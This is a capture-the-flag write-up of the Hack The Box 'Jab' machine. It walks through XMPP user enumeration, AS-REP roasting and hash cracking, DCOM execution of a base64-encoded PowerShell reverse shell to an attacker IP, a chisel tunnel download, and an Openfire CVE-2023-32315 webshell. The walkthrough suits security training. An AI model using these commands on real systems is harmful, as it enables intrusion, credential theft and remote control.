Hack The Box Jab Writeup (Medium Windows)

Summary

Jab is a domain controller that also runs Openfire, so port 5222 answers XMPP alongside the usual Active Directory services. Registering an account in Pidgin and querying search.jab.htb with an asterisk returns the entire user directory, which a short Python script turns into a users.txt. Feeding that list to Impacket’s GetNPUsers yields three AS-REP roastable accounts, and hashcat cracks jmontgomery’s to Midnight_121. Logging back into XMPP as jmontgomery gives access to the pentest2003 room, whose transcript contains the cleartext password of svc_openfire, and that account is allowed to execute commands through DCOM, which dcomexec turns into a PowerShell reverse shell. From inside, the Openfire admin console is listening only on 9090, so a chisel SOCKS tunnel exposes it; logging in there and uploading the CVE-2023-32315 management plugin gives a webshell running as the Openfire service, which is NT Authority SYSTEM.

Initial Target - 10.10.11.4

Service Enumeration

IP Address	TCP Ports Open
10.10.11.4	53, 88, 135, 139, 389, 445, 464, 593, 636 3268, 3269, 5222, 5269, 7070, 7443, 7777

BS01: User Enumeration

Explanation: It is possible to enumerate all registered users in the XMPP server on port 5222 by installing the “XMPP Service Discovery” plugin in Pidgin and performing a query with an asterisk wildcard. This information is crucial to a malicious actor, as it allow for them to try break into one of these accounts.

Severity: Medium, as this vulnerability doesn’t poses a direct impact to the company’s infrastructure.

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. Download and install pidgin: sudo apt install pidgin.

2. Run pidgin in the command line: pidgin.

3. On the top right, right-click on the pidgin icon and select “Accounts” and then “Add”.

4. Set your account:

   1. Username: anything

   2. Domain: jab.htb

   3. Resource: (blank)

   4. Password: anything

   5. Create this new account on the server (checked)

5. Another window will pop up, just fill in the form with random information.

6. Right-click on the pidgin icon on the top right, go to “Plugins”, scroll to the bottom and select “XMPP Service Discovery”. Then, clicking on the icon, hit “Quit” to exit pidgin.

7. Open pidgin once again using the command-line, but this time we’ll specify the “-d” flag, which means “debug”. This way, when we query for all the users in the server, we’ll be able to store all this information: pidgin -d > output.log

8. Right-click on the pidgin icon once again, and “Show Buddy List”.

9. In the menu, head to “Accounts” > (your account) > “Search for Users…”

10. The user directory to search must be set as “search.jab.htb”. Make sure to include “search.jab.htb” in your /etc/hosts file pointing to the 10.10.11.4 IP. Hit “Search Directory”.

11. Un-check “Name” and “Email”, and use a wildcard to query all users: *.

12. When the results pop up, you can close pidgin altogether, because all this information is now saved in “output.log” in the directory you ran pidgin initially.

13. To format the output and save all users to a valid users.txt wordlist, a python script has been used. You can check the code below:

usernames = []

with open('output.log') as f:
    text = [x.rstrip() for x in f.readlines()]

for index, line in enumerate(text):
    if len(line) > 1500:
        split = line.split('<')

        for sub_index, sub_line in enumerate(split):
            if 'username' in sub_line.lower():
                try:
                    username = split[sub_index + 1].replace('value>', '')
                except Exception:
                    continue

                if username not in usernames:
                    usernames.append(username)

with open('users.txt', 'w') as f:
    f.write('\n'.join(usernames))

BS02: AS-REP Roasting and Hash Cracking

Explanation: It is possible to effectively steal password hashes of user accounts by abusing a AS-REP Roasting vulnerability. An attacker could request authentication data for specific users and the DC would return an AS-REP message. Since part of that message is encrypted using the user’s password, the attacker can then attempt to brute-force the user’s password offline.

Click here to learn more about this vulnerability.

Severity: Elevated

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. After dumping and formatting the users in BS01, run the following command to perform a AS-REP Roasting attack: impacket-GetNPUsers -usersfile users.txt -dc-ip dc01.jab.htb -dc-host jab.htb -format hashcat -outputfile roast.txt JAB/

2. Eventually, you’ll find these hashes:

$krb5asrep$23$jmontgomery@JAB:dbbaa001f1b0ea235f1128a34bdce277$0c55e491325850743bfd1e45deb1fcd253e5210270ade15475d3f5b3f03a77d0fd84a3860c5b4dcf3a4bd33bba9f36da43ad6f1b5acd88a84e7858ecdb2fbde7d0cd902180af824f1f1f6cff384cf8bd8f0644c9766c09cc6d39f901632bb8fac97c4a903027385cef2641346fb0e615b0c126730617fed2821c263a9cc66521525927a8a78469405135e36a95230fd8862ff681fa02daf49332cc082ed6bd39030c606d9871a6159e0247b4ca2315861d140037e9d8c647a2fd83abebcf2d8fc3874e9f7b5535ef7583bbd27bc37b07edcd6c7726e5945e27d2e8a4c492
$krb5asrep$23$lbradford@JAB:483793fdb8d37c1a9958c2d465ffc619$86a27d29e2130b1e050ef8273d3e67ead9d5dcda63fe99dc87ea66032083a6b90a35f18f0bcd793ad7f8c738c2003baaefd9672431fc96ba3033d3e80f7c8025835059cb739898dac8544c8f8844f304a934d22bdfb196ac7c704c8ed011f2c872af5447c3d1cd3c818e705a5532720da13ba859b28b5cccb7028c89dd099eceb56b17afa67886f0f675958f4d5b007d9a605df5ca2c297acf7b842f85e367348883b5a0c104090167e2864f6837f819cab44ee23ea1a3712aa1a57d223c187f13fcea79f3e6559a43a80ddaa25c1164e1a6c59a78c048df84d756e68575
$krb5asrep$23$mlowe@JAB:fe5f368b426ba2783966e77572e73c79$4a6ecc1f2b7fec0974492c057beeb6cc121434e9167076298e889e241dea50f46f17ecdce384c35447bcfda9a6527f57ba1510ae25362dc363e3d30db70168180ae1a0d2845780d198a2055f85223ac892a3c1fc0fe7a0c401b6a3bd20de71f92519ab04e992a609a15bd64f3bcfbe4f9b09a8ca89f4da6a7ee992a1554d9004be59f26da9a154681f45c91bb44a8f4c408930042a784ce90ddb412022e15c7ad88097500b6ec409fcb9afcaa0765aa53f88a46055674e9bd53d58e9b0186843d79c374334159a2bb5bca2970fe93ef85254e4f9ec6c2a71a12d282aadf1

1. Use hashcat to crack the hashes with ‘rockyou’ wordlist: hashcat roast.txt /usr/share/wordlists/rockyou.txt

2. Eventually, you’ll crack one of the hashes:

$krb5asrep$23$jmontgomery@jab.htb@JAB.HTB:45bc50db3e68d9be5622c25409316c41$ad4e5bb2b9df6954efaf58354404c829bc821f0e2c4941f31fd828d1a4adac7ffb8519b1422e39c5fa142afa06272b77279d5804f012207be532c77963d8f01a5b17bcf6391dd5e249777755c1eca5ec935f7d9c71c92d20f627fc55d119efd7270df47e0f36e29b9a5dbfd64344a26e801220b95928e0418f2a7fd0bb987b21d33037aac2b5b05ef308d5921229b9b889aa6d6024fbd9b55556e754f932649dbc2d00bc1382e37fe592e3fb866994f8de16ed7ecd4008ad8c6b4a8d02b3fb3576075cc06abc9ad68bbe59c2e026aba39f2dd70c3ab3fed1e757d46956907427d84b:Midnight_121

BS03: Sensitive Information Exposure

Explanation: After obtaining “jmontgomery” password by exploiting BS02, we can use their credentials to log in to the XMPP server and access restricted chats, containing sensitive information regarding a penetration test that occurred in the company.

Severity: Elevated

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. Use “jmontgomery” credentials to log in to the XMPP server using pidgin.

2. Access the “pentest2003” room and read its contents. You’ll discover valid credentials for “svc_openfire” (!@#$%^&*(1qazxsw).

BS04: Initial Access - DCOM Command Execution

Explanation: User ‘svc_openfire’ has permissions to execute system commands by leveraging DCOM. With that, an attacker could obtain a reverse shell in the target machine and further compromise internal systems.

Severity: Elevated

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. Use impacket dcomexec module to execute system commands:

impacket-dcomexec -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'cmd.exe /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAwACIALAA1ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA' -silentcommand

In this case, we used a powershell base64 encoded payload from revshells.

BS05: Vertical Privilege Escalation - CVE-2023-32315

Explanation: By abusing the command execution presented on BS04, it is possible to observe that there are a port open related to Openfire’s administrative console (9090). By running a local proxy and tunneling the connection to their local machine, an attacker could be able to log in to the administrative panel using ‘svc_openfire’ credentials, upload a malicious plugin and execute code as the user running the server, which, in this case, is NT Authority/System.

Severity: Extreme

Steps to Reproduce:

1. Upload chisel.exe to the target machine. In this case, we used a python http server in our local machine (python3 -m http.server 80) and then executed Invoke-WebRequest -Uri http://YOUR-TUN0-IP-ADDRESS/chisel.exe -OutFile chisel.exe in the target machine.

2. In your local machine, run a chisel server: ./chisel server --reverse --socks5

3. In the target machine, execute chisel to connect back to your server: ./chisel.exe client YOUR-TUN0-IP-ADDRESS:8080 R:socks

4. Back to your attacking machine, open firefox.

5. Install ‘foxy proxy’ extension if you haven’t already.

6. Click to configure foxy proxy, we’ll add the chisel tunnel to it.

7. Proxy type is SOCKS5, Hostname is 127.0.0.1 and Port is 1080.

8. Save the newly created proxy, and activate it.

9. Visit http://127.0.0.1:9090 to access the openfire administrative panel, and log in using the previously found credentials for ‘svc_openfire’.

10. Refer to this github repository for more information regarding the vulnerability. You’ll have to download openfire-management-tool-plugin.jar to your local machine.

11. Go to tab “Plugin” > “Upload Plugin” > openfire-management-tool-plugin.jar

12. Go to “Tab Server” > “Server Settings” > “Management Tool”

13. Access websehll with password “123”